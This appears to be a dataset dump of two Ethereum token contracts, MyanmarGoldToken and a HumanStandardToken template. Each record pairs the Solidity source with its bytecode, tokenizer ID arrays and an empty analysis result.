[ 101, 1014, 2595, 2683, 21084, 24594, 2063, 2549, 10354, 2475, 7011, 2278, 2487, 27717, 3540, 2575, 2278, 2575, 11387, 27814, 2620, 4402, 2683, 19961, 2620, 2497, 2620, 2620, 2620, 16703, 8586, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 8278, 1997, 1996, 9413, 2278, 16048, 2629, 3115, 1010, 2004, 4225, 1999, 1996, 1008, 16770, 1024, 1013, 1013, 1041, 11514, 2015, 1012, 28855, 14820, 1012, 8917, 1013, 1041, 11514, 2015, 1013, 1041, 11514, 1011, 13913, 1031, 1041, 11514, 1033, 1012, 1008, 1008, 10408, 2545, 2064, 13520, 2490, 1997, 3206, 19706, 1010, 2029, 2064, 2059, 2022, 1008, 10861, 11998, 2011, 2500, 1006, 1063, 9413, 2278, 16048, 2629, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,132
0x9643439501e48c63f8676c834f9da52f4c2b8d6b
pragma solidity ^0.4.23; /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract MyanmarGoldToken is ERC20 { using SafeMath for uint256; mapping(address => uint256) balances; mapping (address => mapping (address => uint256)) internal allowed; uint256 totalSupply_; string public constant name = "MyanmarGoldToken"; // solium-disable-line uppercase string public constant symbol = "MGC"; // solium-disable-line uppercase uint8 public constant decimals = 18; // solium-disable-line uppercase event Burn(address indexed burner, uint256 value); constructor(address _icoAddress) public { totalSupply_ = 1000000000 * (10 ** uint256(decimals)); balances[_icoAddress] = totalSupply_; emit Transfer(address(0), _icoAddress, totalSupply_); } /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev batchTransfer token for a specified addresses * @param _tos The addresses to transfer to. * @param _values The amounts to be transferred. */ function batchTransfer(address[] _tos, uint256[] _values) public returns (bool) { require(_tos.length == _values.length); uint256 arrayLength = _tos.length; for(uint256 i = 0; i < arrayLength; i++) { transfer(_tos[i], _values[i]); } return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } }
0x6080604052600436106100c5576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100ca578063095ea7b31461015a57806318160ddd146101bf57806323b872dd146101ea578063313ce5671461026f57806342966c68146102a057806366188463146102cd57806370a082311461033257806388d695b21461038957806395d89b411461044a578063a9059cbb146104da578063d73dd6231461053f578063dd62ed3e146105a4575b600080fd5b3480156100d657600080fd5b506100df61061b565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561011f578082015181840152602081019050610104565b50505050905090810190601f16801561014c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561016657600080fd5b506101a5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610654565b604051808215151515815260200191505060405180910390f35b3480156101cb57600080fd5b506101d4610746565b6040518082815260200191505060405180910390f35b3480156101f657600080fd5b50610255600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610750565b604051808215151515815260200191505060405180910390f35b34801561027b57600080fd5b50610284610b0a565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102ac57600080fd5b506102cb60048036038101908080359060200190929190505050610b0f565b005b3480156102d957600080fd5b50610318600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b1c565b604051808215151515815260200191505060405180910390f35b34801561033e57600080fd5b50610373600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dad565b6040518082815260200191505060405180910390f35b34801561039557600080fd5b506104306004803603810190808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919291929080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290505050610df5565b604051808215151515815260200191505060405180910390f35b34801561045657600080fd5b5061045f610e6d565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561049f578082015181840152602081019050610484565b50505050905090810190601f1680156104cc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156104e657600080fd5b50610525600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ea6565b604051808215151515815260200191505060405180910390f35b34801561054b57600080fd5b5061058a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110c5565b604051808215151515815260200191505060405180910390f35b3480156105b057600080fd5b50610605600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112c1565b6040518082815260200191505060405180910390f35b6040805190810160405280601081526020017f4d79616e6d6172476f6c64546f6b656e0000000000000000000000000000000081525081565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600254905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561078d57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156107da57600080fd5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561086557600080fd5b6108b6826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461134890919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610949826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136190919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a1a82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461134890919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b601281565b610b19338261137d565b50565b600080600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610c2d576000600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610cc1565b610c40838261134890919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600080600083518551141515610e0a57600080fd5b84519150600090505b81811015610e6157610e538582815181101515610e2c57fe5b906020019060200201518583815181101515610e4457fe5b90602001906020020151610ea6565b508080600101915050610e13565b60019250505092915050565b6040805190810160405280600381526020017f4d4743000000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610ee357600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610f3057600080fd5b610f81826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461134890919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611014826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136190919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061115682600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136190919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600082821115151561135657fe5b818303905092915050565b6000818301905082811015151561137457fe5b80905092915050565b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481111515156113ca57600080fd5b61141b816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461134890919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506114728160025461134890919063ffffffff16565b6002819055508173ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350505600a165627a7a723058209d31a84d2b759f20bf87cf8030872ffc15cd1bd25bd1d0c5ed16a58f8ecdc1f40029
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 21084, 22022, 23499, 12376, 2487, 2063, 18139, 2278, 2575, 2509, 2546, 20842, 2581, 2575, 2278, 2620, 22022, 2546, 2683, 2850, 25746, 2546, 2549, 2278, 2475, 2497, 2620, 2094, 2575, 2497, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2603, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 9413, 2278, 11387, 8278, 1008, 1030, 16475, 2156, 16770, 1024, 1013, 1013, 21025, 2705, 12083, 1012, 4012, 1013, 28855, 14820, 1013, 1041, 11514, 2015, 1013, 3314, 1013, 2322, 1008, 1013, 3206, 9413, 2278, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 2270, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 5703, 11253, 1006, 4769, 2040, 1007, 2270, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 4651, 1006, 4769, 2000, 1010, 21318, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,133
0x9643545c3E3117dA7812d985A2c98F787585daf0
pragma solidity ^0.4.8; contract Token{ // token总量,默认会为public变量生成一个getter函数接口,名称为totalSupply(). uint256 public totalSupply; /// 获取账户_owner拥有token的数量 function balanceOf(address _owner) constant returns (uint256 balance); //从消息发送者账户中往_to账户转数量为_value的token function transfer(address _to, uint256 _value) returns (bool success); //从账户_from中往账户_to转数量为_value的token,与approve方法配合使用 function transferFrom(address _from, address _to, uint256 _value) returns (bool success); //消息发送账户设置账户_spender能从发送账户中转出数量为_value的token function approve(address _spender, uint256 _value) returns (bool success); //获取账户_spender可以从账户_owner中转出token的数量 function allowance(address _owner, address _spender) constant returns (uint256 remaining); //发生转账时必须要触发的事件 event Transfer(address indexed _from, address indexed _to, uint256 _value); //当函数approve(address _spender, uint256 _value)成功执行时必须触发的事件 event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //默认totalSupply 不会超过最大值 (2^256 - 1). //如果随着时间的推移将会有新的token生成,则可以用下面这句避免溢出的异常 //require(balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]); require(balances[msg.sender] >= _value); balances[msg.sender] -= _value;//从消息发送者账户中减去token数量_value balances[_to] += _value;//往接收账户增加token数量_value Transfer(msg.sender, _to, _value);//触发转币交易事件 return true; } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //require(balances[_from] >= _value && allowed[_from][msg.sender] >= // _value && balances[_to] + _value > balances[_to]); require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value); balances[_to] += _value;//接收账户增加token数量_value balances[_from] -= _value; //支出账户_from减去token数量_value allowed[_from][msg.sender] -= _value;//消息发送者可以从账户_from中转出的数量减少_value Transfer(_from, _to, _value);//触发转币交易事件 return true; } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender];//允许_spender从_owner中转出的token数 } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; } contract HumanStandardToken is StandardToken { /* Public variables of the token */ string public name; //名称: eg Simon Bucks uint8 public decimals; //最多的小数位数,How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //token简称: eg SBX string public version = 'H0.1'; //版本 function HumanStandardToken(uint256 _initialAmount, string _tokenName, uint8 _decimalUnits, string _tokenSymbol) { balances[msg.sender] = _initialAmount; // 初始token数量给予消息发送者 totalSupply = _initialAmount; // 设置初始总量 name = _tokenName; // token名称 decimals = _decimalUnits; // 小数位数 symbol = _tokenSymbol; // token简称 } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. require(_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)); return true; } }
0x6080604052600436106100af576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100b4578063095ea7b31461014457806318160ddd146101a957806323b872dd146101d4578063313ce5671461025957806354fd4d501461028a57806370a082311461031a57806395d89b4114610371578063a9059cbb14610401578063cae9ca5114610466578063dd62ed3e14610511575b600080fd5b3480156100c057600080fd5b506100c9610588565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101095780820151818401526020810190506100ee565b50505050905090810190601f1680156101365780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015057600080fd5b5061018f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610626565b604051808215151515815260200191505060405180910390f35b3480156101b557600080fd5b506101be610718565b6040518082815260200191505060405180910390f35b3480156101e057600080fd5b5061023f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061071e565b604051808215151515815260200191505060405180910390f35b34801561026557600080fd5b5061026e61098a565b604051808260ff1660ff16815260200191505060405180910390f35b34801561029657600080fd5b5061029f61099d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102df5780820151818401526020810190506102c4565b50505050905090810190601f16801561030c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561032657600080fd5b5061035b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a3b565b6040518082815260200191505060405180910390f35b34801561037d57600080fd5b50610386610a84565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103c65780820151818401526020810190506103ab565b50505050905090810190601f1680156103f35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561040d57600080fd5b5061044c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b22565b604051808215151515815260200191505060405180910390f35b34801561047257600080fd5b506104f7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050610c7b565b604051808215151515815260200191505060405180910390f35b34801561051d57600080fd5b50610572600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f18565b6040518082815260200191505060405180910390f35b60038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561061e5780601f106105f35761010080835404028352916020019161061e565b820191906000526020600020905b81548152906001019060200180831161060157829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60005481565b600081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156107eb575081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b15156107f657600080fd5b81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460009054906101000a900460ff1681565b60068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a335780601f10610a0857610100808354040283529160200191610a33565b820191906000526020600020905b815481529060010190602001808311610a1657829003601f168201915b505050505081565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b1a5780601f10610aef57610100808354040283529160200191610b1a565b820191906000526020600020905b815481529060010190602001808311610afd57829003601f168201915b505050505081565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610b7257600080fd5b81600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600082600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff1660405180807f72656365697665417070726f76616c28616464726573732c75696e743235362c81526020017f616464726573732c627974657329000000000000000000000000000000000000815250602e01905060405180910390207c01000000000000000000000000000000000000000000000000000000009004338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828051906020019080838360005b83811015610ebc578082015181840152602081019050610ea1565b50505050905090810190601f168015610ee95780820380516001836020036101000a031916815260200191505b509450505050506000604051808303816000875af1925050501515610f0d57600080fd5b600190509392505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050929150505600a165627a7a7230582004972903f2daf83ed4c6c38710dad6a021b63a199276f3b4b4d39b559c05b0110029
{"success": true, "error": null, "results": {}}
true
null
{}
